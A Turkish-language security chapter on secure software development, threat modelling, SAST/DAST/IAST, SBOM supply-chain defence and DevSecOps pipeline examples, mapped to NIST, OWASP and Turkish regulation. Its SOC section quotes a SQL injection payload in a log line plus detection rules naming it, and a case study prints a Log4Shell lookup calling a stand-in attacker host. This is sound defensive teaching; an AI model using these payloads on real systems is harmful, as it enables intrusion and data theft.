Güvenli Yazılım Geliştirme (SDLC), Kod Analizi (SAST/DAST) ve DevSecOps
Güvenli Yazılım Geliştirme (SDLC) ve DevSecOps
Savunma derinliği mimarisinde uygulama katmanı, ağ perimetresi ve kimlik katmanı atlatıldığında saldırgan ile veri arasındaki son savunma hattıdır. CIS Controls v8 Kontrol 16 (Application Software Security) bunu açıkça ifade eder: saldırgan, ayrıntılı bir saldırı zinciri kurmak yerine doğrudan uygulamanın kendisini kullanarak veriyi ele geçirebilir. Günümüzde bu risk, SolarWinds, Log4Shell, XZ Utils ve Shai-Hulud gibi tedarik zinciri olaylarıyla kanıtlanmıştır; güvenlik artık sürüm sonuna sıkıştırılamaz, sola kaydırılmalı (Shift-Left) ve CI/CD boru hattına gömülmelidir.
Bu bölüm, NIST SP 800-218 (SSDF), OWASP SAMM, OWASP Top 10:2025, CIS Controls v8 ve ISO 27001:2022 çerçevelerinde güvenli SDLC, tehdit modelleme, SAST/DAST/IAST, tedarik zinciri savunması (SCA/SBOM/SLSA) ve DevSecOps otomasyonunu ele alır. Türkiye’de KVKK, 5651 ve BDDK yükümlülükleri operasyonel mimariyi doğrudan şekillendirir.
Shift-Left: güvenlik aktivitelerinin SDLC’nin soluna taşınması
§10.1.1.Sola Kaydırma (Shift-Left) ve Tehdit Modelleme
Geleneksel SDLC’de güvenlik testleri kabul veya üretim öncesi aşamada yapılırdı. Bir kusurun düzeltilme maliyeti yaşam döngüsünde ilerledikçe katlanarak artar; tasarım aşamasında yakalanan bir zafiyet, üretimde düzeltilene kıyasla onlarca kat daha ucuzdur. Shift-Left, güvenlik gereksinimlerini, tehdit modellemeyi ve otomatik kontrolleri planlama ile kodlama aşamalarına çeker; merge ve deploy işlemlerini güvenlik kapıları (security gates) ile engeller.
NIST SP 800-218 (SSDF v1.1) bu felsefeyi dört uygulama grubuna ayırır:
| Grup | Açıklama | Shift-Left Karşılığı |
|---|---|---|
| PO | Organizasyonu hazırla | Güvenlik politikaları, eğitim, araç envanteri |
| PS | Yazılımı koru | SBOM, provenance, imzalama |
| PW | İyi güvenlikli yazılım üret | Tehdit modelleme, SAST, kod incelemesi |
| RV | Zafiyetlere yanıt ver | CVE triage, yama SLA, olay müdahale |
OWASP SAMM’de Design akışı (Threat Assessment, Security Requirements, Secure Architecture) aynı prensibi somutlaştırır.
Güvenli yazılım geliştirme yaşam döngüsü yol haritası
STRIDE ve PASTA Metodolojileri
Tehdit modelleme, tasarım aşamasının kalbidir. İki temel metodoloji kurumsal ortamlarda yaygındır:
STRIDE (Microsoft, 1999): Model-merkezli yaklaşım. Veri Akış Diyagramı (DFD) üzerindeki her bileşene altı tehdit kategorisi uygulanır:
| Tehdit | Açıklama | Tipik Mitigasyon |
|---|---|---|
| Spoofing | Kimlik sahteciliği | MFA, OAuth 2.0/OIDC |
| Tampering | Veri kurcalama | TLS 1.3, HMAC, dijital imza |
| Repudiation | İnkar | Değişmez, zaman damgalı loglama |
| Information Disclosure | Bilgi ifşası | Şifreleme, alan-seviyesi yetkilendirme |
| Denial of Service | Hizmet reddi | Rate limiting, kaynak kotası |
| Elevation of Privilege | Yetki yükseltme | En az ayrıcalık, RBAC/ABAC |
PASTA (Process for Attack Simulation and Threat Analysis): Yedi aşamalı, risk-merkezli metodoloji. İş hedefleri ile teknik zafiyetleri birleştirir; saldırı simülasyonu ve skorlama içerir. STRIDE’a göre daha derin ve iş bağlamına oturur.
DREAD skorlaması (Damage, Reproducibility, Exploitability, Affected Users, Discoverability) tehditleri 1–10 arası puanlayarak önceliklendirir.
Örnek Senaryo: Fintech Ödeme API’si
Tasarım aşamasında DFD çizilir; güven sınırı internet ile API Gateway arasındadır. STRIDE uygulandığında:
- Spoofing → zayıf JWT imza doğrulaması
- Tampering → istek gövdesinin değiştirilmesi
- Information Disclosure → fazla veri ifşası (excessive data exposure)
- Elevation of Privilege → BFLA ile admin endpoint erişimi
Her tehdit bir mitigasyon ile eşlenir (mTLS, imza doğrulama, alan-seviyesi yetkilendirme) ve SSDF PW.1 gereği gereksinim olarak kayıt altına alınır. BDDK Madde 20 kapsamında süreç denetlenebilir hale getirilir; KVKK kapsamında kişisel veri işleyen modüllerde ek input validation zorunlu kılınır.
Tehdit modelleme: tasarım aşamasında risklerin proaktif yönetimi
§10.1.2.Statik (SAST), Dinamik (DAST) ve Etkileşimli (IAST) Kod Analizi
Uygulama güvenliği testleri (AST) birbirini tamamlayan katmanlar oluşturur. Tek başına hiçbir yöntem yeterli değildir; savunma derinliği üçünün stratejik kombinasyonunu gerektirir.
| Boyut | SAST | DAST | IAST |
|---|---|---|---|
| Analiz tipi | Beyaz kutu (kaynak kodu) | Kara kutu (çalışan uygulama) | Gri kutu (ajan + runtime) |
| SDLC konumu | IDE, PR, commit | Staging, pre-prod | Test/QA (enstrümantasyonlu) |
| Çalışan uygulama | Gerekmez | Gerekir | Gerekir |
| Yanlış pozitif | Yüksek | Orta/düşük | Çok düşük |
| Kör nokta | Runtime config, business logic | Test edilmeyen yollar | Yalnızca tetiklenen yollar |
| Örnek araçlar | SonarQube, Semgrep, CodeQL | OWASP ZAP, Burp Suite | Contrast Security |
Saldırgan–savunma dengesi: Saldırgan, SAST’ın yakalayamadığı business logic zafiyetini veya DAST’ın tarayamadığı derin path’leri sömürür. Mavi takım katmanlı yaklaşım uygular: SAST ile PR’ları temiz tutar, IAST/DAST ile staging’de doğrular, üretimde WAF + SIEM korelasyonu ile kalan riski yönetir.
IAST ve Taint Analysis
IAST ajanları JVM veya .NET CLR içine enjekte edilir (-javaagent:iast-agent.jar). Taint Analysis mekanizması güvenilmeyen kaynaklardan (HTTP parametreleri, cookie) gelen veriyi “lekeli” işaretler; sanitizasyon geçmeden kritik sink’e (SQL execute, Runtime.exec) ulaşırsa anında raporlar. Bu, SAST’ın yüksek yanlış pozitifini ve DAST’ın kod satırı eksikliğini telafi eder.
NIST SSDF PW.7 (statik analiz) ve PW.8 (dinamik analiz/fuzz) bu üçünü kapsar. Pratik varsayılan entegrasyon:
- Her PR’da SAST (Semgrep/SonarQube)
- Staging’de DAST (zamanlanmış + sürüm tetikli)
- Test kapsamı iyi olan modüllerde IAST
- Seçili üretim servislerinde RASP (performans testi + geri alma planıyla)
Semgrep 4.000+ kuralını OWASP Top 10:2025 eşlemesine güncellemiştir; örneğin OS Command Injection kuralı A05:2025 - Injection ile etiketlenir.
RASP: Çalışma Anındaki Son Savunma Hattı
RASP (Runtime Application Self-Protection), üretim ortamında çalışan uygulamanın içine gömülü ajan veya kütüphane ile gerçek zamanlı saldırı engelleme sağlar. SAST’ın statik analizi, DAST’ın dış testi ve IAST’ın QA ortamı doğrulamasının ardından RASP, canlı trafikte exploit girişimlerini bloklar.
| Özellik | RASP | WAF |
|---|---|---|
| Konum | Uygulama process’i içinde | Ağ/edge katmanında |
| Bağlam | Tam kod ve runtime bağlamı | HTTP isteği/yanıtı |
| Business logic | Kısmen görür | Göremez |
| Performans etkisi | Orta-yüksek | Düşük-orta |
| Dağıtım | Seçili kritik servisler | Tüm public trafik |
RASP, WAF’ın kaçırdığı business logic saldırılarını veya şifreli trafik içindeki uygulama-seviyesi anomalileri tamamlar. Ancak her servise RASP eklemek performans ve operasyonel karmaşıklık yaratır; PCI DSS veya BDDK kapsamındaki ödeme/kimlik servisleri önceliklendirilir.
Bulgu Yönetimi ve Triyaj
Birden fazla güvenlik aracından gelen bulgular DefectDojo, Jira veya ServiceNow üzerinde birleştirilir. Triyaj süreci:
- Otomatik deduplication: Aynı CVE’nin SAST + SCA + container taramasında tekrarlanması
- Severity + exploitability: CISA KEV, EPSS skoru, exploit PoC varlığı
- Asset kritikliği: Üretim / PII işleyen / internet-facing öncelik
- SLA atama: Critical 24s, High 7g, Medium 30g
SOC entegrasyonu: açık zafiyet + exploit attempt korelasyonu (ör. Log4Shell CVE’si açıkken ${jndi: log pattern’i).
SOC Entegrasyonu: SQL Injection Tespiti
Ofansif senaryo: saldırgan ?q=' UNION SELECT null, username, password FROM users -- gönderir. Nginx erişim logu:
192.168.10.45 - - [20/Jun/2026:14:32:10 +0300] "GET /api/v1/search?q=%27%20UNION%20SELECT%20null%2C%20username%2C%20password%20FROM%20users%20-- HTTP/1.1" 200 4096Sigma kuralı (platform bağımsız):
title: Web Sunucu Erişim Loglarında SQL Enjeksiyonu Tespitistatus: stablelogsource: category: webserverdetection: selection: url|contains: - 'union select' - 'or 1=1' - 'xp_cmdshell' condition: selectionlevel: criticalWazuh özel kural (/var/ossec/etc/rules/local_rules.xml):
<group name="web,app_security,"> <rule id="100051" level="12"> <match>select|union|concat|xp_cmdshell|--</match> <description>Kritik SQL Enjeksiyonu Saldırı Girişimi.</description> <mitre><id>T1190</id></mitre> </rule></group>HTTP 200 yanıtı, zafiyetin başarıyla istismar edilmiş olabileceğine işaret eder; olay “Kritik” öncelikle sınıflandırılır (NIST SP 800-61).
§10.1.3.Yazılım Tedarik Zinciri Güvenliği, SCA ve SBOM
Modern uygulamaların %70–90’ı açık kaynak bileşenlerden oluşur. OWASP Top 10:2025’te en çarpıcı yapısal değişiklik, “A06 Vulnerable Components” kategorisinin A03:2025 - Software Supply Chain Failures olarak genişletilmesidir. Topluluk anketinde katılımcıların %50’si bunu birincil endişe olarak işaretledi; en yüksek exploit/impact skoruna sahiptir.
SCA (Software Composition Analysis), bağımlılıkları NVD, OSV ve GitHub Advisory veritabanlarıyla tarar. SBOM (Software Bill of Materials) bu sürecin makine-okunur envanter çıktısıdır.
SBOM: yazılımın “içindekiler listesi” ve zafiyet yönetimi
SBOM Formatları
| Kriter | CycloneDX | SPDX |
|---|---|---|
| Geliştirici | OWASP / Ecma-424 | Linux Foundation / ISO 5962 |
| Odak | Güvenlik, zafiyet, otomasyon | Lisans, telif, yasal uyum |
| VEX desteği | Yerleşik | Harici profiller |
| Kapsam | SBOM, CBOM, HBOM, SaaSBOM | Paketler, lisanslar, ilişkiler |
Araç zinciri (açık kaynak):
- Syft: konteyner imajı ve dosya sisteminden SBOM üretir
- Grype: SBOM’u CVE veritabanlarıyla eşler
- Trivy: tarama + SBOM üretimi
- OWASP Dependency-Track: SBOM kalıcı veritabanı, sürekli yeniden değerlendirme
- Cosign / Sigstore: artifakt ve SBOM imzalama
- VEX: “bu CVE ürünümüzü gerçekten etkiliyor mu?” sorusunu standart biçimde yanıtlar
# Temel SBOM akışısyft packages dir:./build/libs -o cyclonedx-json > sbom.jsongrype sbom:./sbom.json --fail-on highCISA KEV (Known Exploited Vulnerabilities) kataloğu önceliklendirmede en üst sinyaldir.
Vaka Çalışmaları
1. SolarWinds / SUNBURST (Aralık 2020): Saldırganlar build sistemini ele geçirdi. SUNSPOT enjektörü MsBuild.exe sürecini izleyerek Orion derlenirken kaynağı değiştirdi. İmzalama sistemi trojanlı kodu imzaladı. Yaklaşık 18.000 müşteri trojanlı sürümü indirdi; ancak fiilen ele geçirilen müşteri sayısı resmi açıklamaya göre 100’den azdı. Savunma dersi: build ortamı bütünlüğü, SLSA provenance, üç heterojen build ortamı.
2. Log4Shell / CVE-2021-44228 (CVSS 10.0): ${jndi:ldap://attacker.com/a} loglandığında RCE. SOC tespiti: loglarda ${jndi:} dizesi, 389/636 portlarına anormal LDAP bağlantıları. Yama: 2.16.0+.
3. XZ Utils / CVE-2024-3094: “Jia Tan” iki yıl güven inşa edip liblzma’ya SSH backdoor yerleştirdi. Andres Freund’un performans anomalisi araştırmasıyla keşfedildi. Savunma dersi: maintainer güven modeli, build-time davranış analizi.
4. Shai-Hulud npm solucanı (2025): preinstall aşamasında çalışan, Bun runtime kullanan, kendini çoğaltan kampanya. 700+ npm paketi, 27.000+ zararlı GitHub deposu, ~14.000 sızdırılmış secret. Savunma: npm ci + lockfile, scoped token, preinstall denetimi, registry proxy/SCA.
OWASP ASVS ve Güvenlik Gereksinimleri
OWASP ASVS (Application Security Verification Standard) 4.0, uygulama güvenliği gereksinimlerini üç doğrulama seviyesinde tanımlar:
| Seviye | Kapsam | Tipik Kullanım |
|---|---|---|
| L1 | Temel savunma | Düşük riskli dahili uygulamalar |
| L2 | Standart kurumsal | Çoğu internet-facing uygulama |
| L3 | Maksimum güvenlik | Finans, sağlık, kritik altyapı |
ASVS gereksinimleri tehdit modelleme çıktılarıyla eşleştirilerek Security Requirements Traceability Matrix (SRTM) oluşturulur. BDDK kapsamındaki finansal uygulamalar genellikle ASVS L2+ hedefler.
Container ve IaC Güvenliği
CI/CD pipeline’ında uygulama kodunun yanı sıra altyapı tanımları da taranmalıdır:
# Terraform güvenlik taramasıcheckov -d ./terraform --framework terraform --check HIGH,CRITICAL
# Kubernetes manifest taramasıtrivy config ./k8s/manifests/Kyverno admission controller ile imzalanmamış (cosign verify) container imajlarının cluster’a girmesi engellenir. CIS Controls v8 Safeguard 16.7 (hardening şablonları) ve 16.8 (üretim/üretim-dışı ayrımı) bu kontrollerle örtüşür.
§10.1.4.CI/CD Pipeline’a Güvenlik Otomasyonu (DevSecOps)
DevSecOps, güvenliği yavaşlatmadan sola kaydırır. Amaç: geliştirici hızını korurken otomatik güvenlik kapıları koymaktır. NIST SP 800-218 (SSDF) PW.7 (statik analiz), PW.8 (dinamik analiz) ve PS.1 (yazılım bütünlüğü) bu pipeline’ın teorik çerçevesini oluşturur; OWASP SAMM Implementation ve Verification akışları ise olgunluk ölçütlerini tanımlar.
DevSecOps: güvenlik kontrollerinin CI/CD boru hattına entegrasyonu
Referans Pipeline Mimarisi (Çok Aşamalı)
Aşağıdaki mimari, SAST → SCA → Build → DAST → Deploy → Runtime izleme katmanlarını tek boru hattında birleştirir. Her aşama fail-fast prensibiyle yapılandırılır: Critical/High bulgu pipeline’ı durdurur.
flowchart LR
Plan["PLAN<br/>STRIDE Tehdit Modeli · ASVS"]
Code["CODE / PR<br/>Semgrep/SonarQube · Gitleaks · Checkov"]
Build["BUILD<br/>Grype/SBOM · Cosign İmza"]
Test["TEST<br/>OWASP ZAP · Contrast IAST"]
Deploy["DEPLOY<br/>Admission Control · Canary Deploy"]
Run["RUN<br/>RASP · Wazuh/SIEM"]
Plan --> Code --> Build --> Test --> Deploy --> Run
┌─────────────────────────────────────────────────────────────────────────────┐│ DEVSECOPS REFERANS PIPELINE │├─────────────────────────────────────────────────────────────────────────────┤│ PLAN │ Threat model (STRIDE) + ASVS gereksinimleri + policy-as-code│├──────────────┼──────────────────────────────────────────────────────────────┤│ CODE │ IDE SAST (SonarLint) + pre-commit (Gitleaks, Semgrep) │├──────────────┼──────────────────────────────────────────────────────────────┤│ PR/MR │ SAST (Semgrep/SonarQube) + Secret scan + IaC (Checkov) │├──────────────┼──────────────────────────────────────────────────────────────┤│ BUILD │ SCA (Grype/Snyk) + SBOM (Syft/CycloneDX) + Unit test │├──────────────┼──────────────────────────────────────────────────────────────┤│ PACKAGE │ Container scan (Trivy) + Cosign imzalama + SLSA provenance │├──────────────┼──────────────────────────────────────────────────────────────┤│ TEST/STAGE │ DAST (ZAP baseline/full) + IAST (Contrast) + API fuzz │├──────────────┼──────────────────────────────────────────────────────────────┤│ DEPLOY │ Kyverno admission (imzalı imaj) + smoke test + canary │├──────────────┼──────────────────────────────────────────────────────────────┤│ RUN │ RASP (seçili servisler) + WAF + SIEM korelasyon + Falco │└─────────────────────────────────────────────────────────────────────────────┘SAST Entegrasyon Örnekleri
Semgrep — Özel kural dosyası (.semgrep.yml):
rules: - id: sql-injection-raw-query patterns: - pattern: $DB.execute(f"... {$VAR} ...") - pattern: $DB.raw($QUERY) message: "OWASP A05:2025 — SQL Injection riski: parametreli sorgu kullanın" severity: ERROR languages: [python, java] metadata: owasp: "A05:2025" cwe: "CWE-89"
- id: hardcoded-secret pattern-regex: '(api[_-]?key|password|secret)\s*=\s*["\'][^"\']{8,}["\']' message: "Hardcoded secret tespit edildi — ortam değişkeni veya Vault kullanın" severity: ERROR languages: [generic]SonarQube Quality Gate (API üzerinden):
# SonarScanner çalıştırma ve quality gate beklemesonar-scanner \ -Dsonar.projectKey=my-app \ -Dsonar.sources=src/ \ -Dsonar.host.url=https://sonar.internal.example.com \ -Dsonar.qualitygate.wait=true
# Quality gate başarısızsa pipeline durur (exit code != 0)SonarQube Quality Gate eşikleri (önerilen):
| Metrik | Eşik | Aksiyon |
|---|---|---|
| New Bugs | 0 | Build fail |
| New Vulnerabilities | 0 | Build fail |
| New Security Hotspots | 0 unreviewed | Build fail |
| Coverage on New Code | ≥ 80% | Warning |
| Duplicated Lines | ≤ 3% | Warning |
DAST Entegrasyon Örnekleri
OWASP ZAP — Baseline vs Full Scan:
| Mod | Kapsam | Süre | Kullanım |
|---|---|---|---|
| Baseline | Pasif tarama + spider (sınırlı) | 5–15 dk | Her PR/MR |
| Full Scan | Aktif tarama + tüm spider | 30–120 dk | Sürüm öncesi / haftalık |
| API Scan | OpenAPI tanımından otomatik | 15–45 dk | API değişikliği sonrası |
ZAP Full Scan — Docker tabanlı CI entegrasyonu:
# OpenAPI tanımından API taramasıdocker run --rm -v $(pwd):/zap/wrk:rw \ -t ghcr.io/zaproxy/zaproxy:stable \ zap-api-scan.py -t https://staging.example.com/openapi.json \ -f openapi -r zap-api-report.html \ -c zap-rules.conf -J zap-api-report.json
# Full scan (aktif tarama — yalnızca staging)docker run --rm -v $(pwd):/zap/wrk:rw \ -t ghcr.io/zaproxy/zaproxy:stable \ zap-full-scan.py -t https://staging.example.com \ -r zap-full-report.html -J zap-full-report.json \ -x zap-full-report.xmlZAP bulgu eşikleri (pipeline gating):
# Yalnızca High ve Critical bulgular pipeline'ı durdururpython3 -c "import json, sysreport = json.load(open('zap-api-report.json'))high = sum(1 for s in report.get('site',[]) for a in s.get('alerts',[]) if a['riskcode'] in ('3','4'))sys.exit(1 if high > 0 else 0)"Azure DevOps Pipeline Örneği
trigger: branches: [main, develop] paths: exclude: [docs/*, *.md]
stages: - stage: SecurityScan jobs: - job: SAST pool: { vmImage: 'ubuntu-latest' } steps: - task: SonarQubePrepare@6 inputs: SonarQube: 'SonarQube-Connection' scannerMode: 'CLI' configMode: 'manual' cliProjectKey: '$(Build.Repository.Name)' - script: | pip install semgrep semgrep --config=auto --error --json -o semgrep.json . displayName: 'Semgrep SAST' - script: | docker run --rm -v $(pwd):/src \ zricethezav/gitleaks:latest detect \ --source /src --redact --exit-code 1 displayName: 'Gitleaks Secret Scan' - task: SonarQubeAnalyze@6 - task: SonarQubePublish@6 inputs: pollingTimeoutSec: '300'
- job: SCA_SBOM dependsOn: SAST steps: - script: | curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin syft packages dir:. -o cyclonedx-json > sbom.json curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin grype sbom:sbom.json --fail-on high displayName: 'SBOM + Grype SCA'
- job: DAST dependsOn: SCA_SBOM condition: eq(variables['Build.SourceBranch'], 'refs/heads/main') steps: - script: | docker run --rm -v $(pwd):/zap/wrk:rw \ ghcr.io/zaproxy/zaproxy:stable \ zap-baseline.py -t https://staging.example.com \ -J zap-report.json -x zap-report.xml displayName: 'OWASP ZAP Baseline' - task: PublishBuildArtifacts@1 inputs: PathtoPublish: 'zap-report.html' ArtifactName: 'ZAP-Report'Jenkins Pipeline Örneği (Declarative)
pipeline { agent any environment { SONAR_TOKEN = credentials('sonar-token') DEFECTDOJO_URL = 'https://defectdojo.internal.example.com' } stages { stage('SAST') { parallel { stage('Semgrep') { steps { sh 'semgrep --config=p/owasp-top-ten --error -o semgrep.sarif .' } } stage('SonarQube') { steps { withSonarQubeEnv('SonarQube') { sh 'mvn sonar:sonar -Dsonar.qualitygate.wait=true' } } } } } stage('Secret Scan') { steps { sh 'gitleaks detect --source . --redact --exit-code 1' } } stage('SCA + SBOM') { steps { sh ''' syft packages dir:. -o cyclonedx-json > sbom.json grype sbom:sbom.json --fail-on high -o json > grype.json ''' } } stage('DAST') { when { branch 'main' } steps { sh ''' docker run --rm -v $PWD:/zap/wrk:rw \ ghcr.io/zaproxy/zaproxy:stable \ zap-baseline.py -t $STAGING_URL -J zap.json ''' } } stage('Publish to DefectDojo') { steps { sh ''' curl -X POST $DEFECTDOJO_URL/api/v2/import-scan/ \ -H "Authorization: Token $DD_API_KEY" \ -F "scan_type=Semgrep JSON Report" \ -F "file=@semgrep.sarif" \ -F "engagement=1" ''' } } } post { failure { emailext subject: "Pipeline FAILED: ${env.JOB_NAME}", body: "Güvenlik kapısı ihlali. Detay: ${env.BUILD_URL}", to: 'security-team@example.com' } }}OWASP SAMM ve SSDF Eşleştirmesi
| Pipeline Aşaması | NIST SSDF | OWASP SAMM | CIS v8 |
|---|---|---|---|
| Threat modeling | PW.1 | Design / Threat Assessment | 16.1 |
| SAST (PR) | PW.7 | Implementation / Code Review | 16.2 |
| Secret scan | PS.1 | Implementation / Secure Build | 16.5 |
| SCA + SBOM | PS.1, PS.2 | Verification / Dependency Mgmt | 16.4 |
| DAST (staging) | PW.8 | Verification / Security Testing | 16.2 |
| Container scan | PS.2 | Verification / Secure Deployment | 16.7 |
| Cosign + SLSA | PS.2 | Implementation / Secure Build | 16.5 |
| Runtime (RASP/WAF) | RV.1 | Operations / Environment Mgmt | 13, 16 |
SLSA (Supply-chain Levels for Software Artifacts)
| Seviye | Gereksinim | Kurumsal Hedef |
|---|---|---|
| L1 | Otomatik, script tabanlı build; temel provenance | Başlangıç |
| L2 | Hosted build service; imzalı provenance | Çoğu ekip |
| L3 | İzole ephemeral build; imza anahtarı script’ten ayrık | Üretim hedefi |
SLSA Level 3 pratik hedeftir: GitHub Actions OIDC token → Fulcio CA → kısa ömürlü sertifika → Rekor şeffaflık logu. slsa-github-generator, build job’ın imza anahtarına erişememesini sağlar.
Derinlemesine: SLSA L3 Provenance ve Sigstore Entegrasyonu
| SLSA Seviye | Gereksinim | Kurumsal Karşılık |
|---|---|---|
| L1 | Script tabanlı build; temel provenance | CI/CD otomasyonu |
| L2 | Hosted build; imzalı provenance | GitHub Actions / GitLab Runner |
| L3 | Ephemeral izole build; imza anahtarı script’ten ayrık | OIDC + Cosign + Rekor |
Sigstore akışı (GitHub Actions OIDC):
permissions: id-token: write contents: readsteps: - uses: sigstore/cosign-installer@v3 - run: cosign sign-blob --yes sbom.json - uses: slsa-framework/slsa-github-generator@v2VEX (Vulnerability Exploitability Exchange): Grype HIGH bulgusu üretse bile VEX belgesi “bu CVE ürünümüzü etkilemiyor” yanıtını standart biçimde verir; false positive triyajını hızlandırır.
CISA KEV kataloğu, SCA önceliklendirmesinde en üst sinyaldir — KEV’deki CVE için 24 saat remediation SLA uygulanmalıdır.
Pipeline Katmanları
| Aşama | Güvenlik Aktivitesi | Araçlar |
|---|---|---|
| Plan | Politika tanımı | Terrascan, Checkov |
| Code | SAST, secret tarama | Semgrep, Gitleaks |
| Build | SCA, SBOM | Syft, Grype, Trivy |
| Test | DAST, IAST | OWASP ZAP |
| Package | İmaj tarama, imzalama | Trivy, Cosign, Kyverno |
| Run | Runtime izleme | Falco, WAF, SIEM |
Gating stratejisi: Critical/High CVE → build başarısız; SBOM üretimi başarısız → dur; imzalanmamış artifakt → reddedilir.
GitHub Actions Örneği
name: DevSecOps Pipelineon: [push, pull_request]jobs: security: runs-on: ubuntu-latest permissions: id-token: write contents: read steps: - uses: actions/checkout@v4 - name: SAST (Semgrep) uses: returntocorp/semgrep-action@v1 - name: Secret Scan (Gitleaks) run: gitleaks detect --source . --redact - name: SBOM + SCA (Syft + Grype) run: | syft packages dir:./ -o cyclonedx-json > sbom.json grype sbom:./sbom.json --fail-on high - name: Sign artifact (Cosign) run: cosign sign-blob --yes sbom.json - name: DAST (OWASP ZAP baseline) uses: zaproxy/action-baseline@v0.12.0 with: target: 'https://staging.example.com'GitLab CI Örneği (Özet)
stages: [build, test, security_scan, deploy]
gitleaks_secrets_scan: stage: test image: zricethezav/gitleaks:latest script: [gitleaks detect --verbose --source=$CI_PROJECT_DIR --redact] allow_failure: false
sonarqube_sast: stage: security_scan script: - sonar-scanner -Dsonar.qualitygate.wait=true allow_failure: false
trivy_container_scan: stage: security_scan script: - trivy image --exit-code 1 --severity CRITICAL,HIGH my-registry/app:latest allow_failure: falseEk kontroller: pre-commit hooks, IaC tarama, container admission control (Kyverno + cosign), CI/CD action pinning (commit SHA ile sabitleme), HashiCorp Vault ile dinamik secret çekimi.
Bulgular DefectDojo veya Jira’ya aktarılır; SOC’a “bilinen zafiyet + exploit attempt” korelasyonu için beslenir.
IAST ve RASP Pipeline Entegrasyonu
Contrast Security (IAST) — JVM ajan enjeksiyonu:
# Test ortamında IAST ajanı ile integration testjava -javaagent:/opt/contrast/contrast.jar \ -Dcontrast.application.name=my-app \ -Dcontrast.server.name=staging \ -jar target/my-app.jar
# IAST bulguları Contrast dashboard'a akar; CI webhook ile pipeline failcurl -s -H "Authorization: $CONTRAST_API_KEY" \ "https://contrast.internal/api/v1/applications/my-app/vulnerabilities?severity=HIGH" \ | jq '.vulnerabilities | length' | xargs -I{} test {} -eq 0RASP dağıtım kararı matrisi:
| Kriter | IAST (QA) | RASP (Prod) |
|---|---|---|
| Ortam | Test/Staging | Üretim (seçili servisler) |
| Performans etkisi | Orta (%5–15 overhead) | Orta-yüksek |
| Business logic görünürlüğü | Tam | Tam |
| Bloklama yeteneği | Raporlama | Gerçek zamanlı blok |
| Öncelik | Tüm modüller | Ödeme, kimlik, PII işleyen |
Pipeline Metrikleri ve SOC KPI’ları
| Metrik | Hedef | Ölçüm Kaynağı |
|---|---|---|
| SAST scan süresi (PR) | < 5 dk | CI/CD log |
| DAST scan süresi (sürüm) | < 30 dk (baseline) | ZAP raporu |
| SCA Critical CVE (açık) | 0 (KEV listesi) | Grype/Snyk |
| SBOM üretim oranı | %100 build | Syft artifact |
| Quality gate pass rate | > %95 | SonarQube |
| Mean Time to Remediate (Critical) | < 24 saat | DefectDojo/Jira |
| False positive oranı (SAST) | < %10 | Triyaj logları |
§10.1.5.Uluslararası Standart ve Türkiye Mevzuatı Uyumu
| Kontrol | NIST SP 800-53 | ISO 27001:2022 | CIS v8 | Türkiye |
|---|---|---|---|---|
| Shift-Left / Tehdit Modelleme | SA-8, SA-11 | A.8.25 | 16.1 | BDDK Md. 20 |
| SAST / IAST | SA-11 | A.8.29 | 16.2 | BDDK Md. 23 |
| SCA / SBOM | SA-12, SR-3 | A.5.19–23 | 16.4–16.6 | KVKK veri güvenliği |
| CI/CD Otomasyon | CM-3 | A.8.19 | 16.5 | BDDK sürekli test |
| Loglama / SOC | SI-4, AU-6 | A.8.15–16 | 8.x | 5651, KVKK |
KVKK (6698)
Kişisel veri işleyen yazılımlarda veri minimizasyonu, şifreleme ve loglama zorunludur. Loglar IP, kullanıcı ID içerebilir; KVKK m.5/2-a ve m.5/2-ç kapsamında hukuki yükümlülük nedeniyle açık rıza gerekmez, ancak aydınlatma metni zorunludur. SOC analistleri için veri maskeleme ve çift yetki (dual control) uygulanmalıdır.
5651 Sayılı Kanun
İnternet erişimi sağlayan kurumlar trafik bilgilerini en az 1 yıl saklar. Yönetmelik, dosya bütünlük değerlerinin 5070’e dayalı zaman damgası ile korunmasını şart koşar. Sadece hash yeterli değildir; yasal geçerli zaman damgası (TÜBİTAK KAMU SM vb.) gereklidir.
BDDK
Finans sektöründe güvenli yazılım geliştirme (Md. 20), sürekli güvenlik testleri (Md. 23), denetim izlerinin asgari 3 yıl saklanması zorunludur. TCMB tebliğinde denetim izleri en az 10 yıl; SPK tebliğinde asgari 5 yıl saklanır.
§10.1.6.Mimari Tavsiyeler ve Olgunluk Yol Haritası
Hemen (0–30 gün)
- OWASP Top 10:2025’e göre tarama kurallarını güncelleyin (A03 Supply Chain, A10 Exceptional Conditions)
- CI/CD’de
grype --fail-on highve SBOM üretimini bloklayıcı kapı yapın - SIEM zaman damgası ve NTP senkronizasyonunu doğrulayın
Kısa Vade (30–90 gün)
- SLSA Level 3 provenance (OIDC + Cosign + Rekor)
- OWASP Dependency-Track ile sürekli SBOM izleme + VEX
- Tehdit modellemeyi (STRIDE/PASTA) tasarım sürecine kalıcı entegre edin
Orta Vade (90–180 gün)
- DefectDojo ile çoklu araç bulgu birleştirme
- Merkezi SIEM’i 5651/KVKK/BDDK saklama süreleriyle yapılandırın
- OWASP SAMM Level 2+ olgunluk hedefi
Remediation SLA Eşikleri
| Severity | SLA | Tetikleyici |
|---|---|---|
| Critical (KEV) | 24 saat | CISA KEV listesi |
| High | 7 gün | Grype/Snyk taraması |
| Medium | 30 gün | Sprint planlama |
OWASP SAMM Olgunluk Hedefi
| Seviye | Kriterler |
|---|---|
| Level 2 | Tehdit modelleme zorunlu, SAST+SCA pipeline’da, SBOM üretiliyor |
| Level 3 | IAST+DAST otomatik, signed SBOM+VEX, SOC korelasyonu |
Özet
Uygulama güvenliği tek bir araç veya “son kontrol” değildir. Shift-Left + tehdit modelleme + katmanlı test (SAST/IAST/DAST) + SCA/SBOM + imzalı provenance ile hem önleyici hem tespit edici katmanlar oluşturulur. Bu yapı NIST SSDF, OWASP SAMM, CIS Controls v8 ve Türkiye yasal yükümlülükleriyle uyumlu, ölçülebilir ve denetlenebilir bir Secure SDLC sağlar.
Güvenlik bir araç seti değil, kültür ve mühendislik disiplinidir. SDLC’nin DNA’sına işlenmiş güvenlik; SOC’un proaktif çalışmasını, tedarik zinciri şeffaflığını ve yasal uyumu aynı mimaride birleştirir.
Pipeline’da yakalanamayan runtime tehditleri için §10.2 web/API güvenliği ve WAF katmanları; izolasyon modeli farklı olan iş yükleri için §10.3 sunucusuz mimari güvenliği tamamlayıcı savunma hatlarını oluşturur.